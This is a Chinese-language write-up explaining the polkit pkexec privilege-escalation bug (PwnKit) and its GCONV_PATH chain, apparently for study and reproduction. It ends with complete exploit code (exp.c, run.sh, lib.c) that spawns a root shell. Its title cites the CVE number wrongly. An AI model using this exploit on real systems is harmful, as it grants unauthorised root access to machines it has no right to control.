CVE-2021-0434 详解 exp编写 复现


漏洞简述:

此漏洞本身并不复杂不过整个利用链很长,而且需要利用一个老漏洞

整个提权流程整体说下来可以分成两部分,分别利用了两个漏洞:
第一部分就是本漏洞主要更新点,可以通过利用这个漏洞而让我们自己设置一个恶意环境变量
第二部分是提权的点,可以通过设置一些恶意环境变量来达到执行命令的目的

漏洞详情:

一.polkit代码漏洞:

代码问题出在一个pkexec.c文件中(源码地址:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c)

问题就是从534行开始的,通过上面代码可以看到这里循环是从1开始的,也就是代码默认了参数一定是有值的,如果我们想办法让argc为0,也就是传入的参数为空会产生什么后果?

后果就是如果参数为空的话再判断n<(guint)argc的时候一定会失败也就是这个循环开始就结束了,最后会得到n=1,而如果往下面看

注:c语言main里面的两个参数是下面的意思,所以参数为空的话argc是0

可以看到第610行调用了argv[n],也就是argv[1],如果是正常的话这个argv是这样的,argv[0]是命令名,argv[1]是参数,argv的结尾一定是个null,其实就算参数为空而且成功的话也应该是argv[0]是命令名,argv[1]是null,这样也不会有什么问题,但是我们可以通过一个函数execve,可以让argv[0]为null,而argv[1]为空指针.
我们通过调用execve("/usr/bin/pkexec", argv, envp),当argv为空的时候,就会发现argv[0]不再是pkexec而是null,而argv[1]也就变成envp[0],envp这个参数是环境变量,也就是argv[1]指向的是第一个环境变量

632行这个函数具体就不展示了,就说一下这个函数的效果,这个函数输入一个字符串,然后会通过PATH寻找它的绝对路径,例如传入cat会返回/usr/bin/cat,然后再看639行

这里可以看到由argv[1]生成的绝对路径最后又覆盖到argv[1]上,很多教程到这里漏说了一点,导致我最开始很不理解1,2漏洞是怎么衔接上的,缺少触发条件,而且缺少这部分讲解会发现exp中有几个无意义的环境变量,在函数的670行

这个函数的内部也不展示了,想要了解可以自己去看,这个函数的作用会检查全部环境变量而如果碰到以下两种情况的话

都会调用一个函数g_printerr,这个函数的内部间接调用了linux的iconv_open函数,而这个函数是衔接1,2漏洞的关键,从代码来看只要我们加入环境变量SHELL=一个不合理的值比如SHELL=test或者SHELL=xxx等就会触发调用这个函数

二.GCONV_PATH漏洞:

GCONV_PATH是个环境变量,这个环境变量通过特殊的方式可以触发执行危险文件,我之前看到这就很疑惑,既然这样直接改环境变量不就好了,后来看到讲解才知道不能直接调用,因为Linux也知道这些环境变量很危险,所以在执行函数的时候会对这些危险环境变量过滤,所以上面polkit的价值就在这里,可以直接绕过这个过滤将环境变量变成危险环境变量,而且由于polkit是预装工具所以泛用性和时效性都很强。继续说这个漏洞

这个漏洞要用到一个函数iconv_open,也就是我们上面提到的那个连接1,2漏洞的函数,下面是这个函数的执行过程:

  • iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  • 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  • 之后会调用.so文件中的gconv()与gonv_init()函数。(但是我发现很多exp也没有按照这个写但是照样能成功,我尝试换成他们的写法确实可行,然后查了一下,这些exp采用的是__attribute__ ((constructor))标识,这个相当于一个标签,标志着这个函数会在main执行之前执行,因此就算是执行.so文件中的gconv()和gonv_init(),只要是执行文件就会执行到这个标识标志的函数)
  • 然后就是一些与本漏洞利用无关的步骤

我们上面通过1可以确定能调用iconv_open,而GCONV_PATH这个环境变量可以修改指向gconv-modules的位置,也就是说如果我们控制了GCONV_PATH就可以让iconv_open找到我们自己的gconv-modules,我们自定义的gconv-modules可以执行我们指定的.so文件内的特定函数。这利用链条就很清晰了,利用漏洞1绕过过滤设定GCONV_PATH然后调用2就好了,整体的利用链条如下:

  • execve()第一个参数可以让pkexec的参数为空,并且第二个参数可以设置环境变量
  • 借用漏洞1可以改变第一个环境变量,可以配合下面设置的环境变量让第一个环境变量变成GCONV_PATH=我们想要的路径
  • 在第二个参数中添加CHARSET=?和SHELL=xxx,一个是为了触发iconv_open函数,第一个是为了方便书写gconv-modules的内容
  • 剩下的就是按照漏洞2的方式写上要执行的恶意文件

编写exp

exp.c

#include 
#include 

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp);
}

run.sh

mkdir 'GCONV_PATH='
touch 'GCONV_PATH=/pwnkitdir'
chmod 777 'GCONV_PATH=/pwnkitdir'
mkdir /pwnkitdir
touch /pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> /pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o /pwnkitdir/pwnkit.so
gcc exp.c -o exp

lib.c

#include 
#include 
#include 

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

相关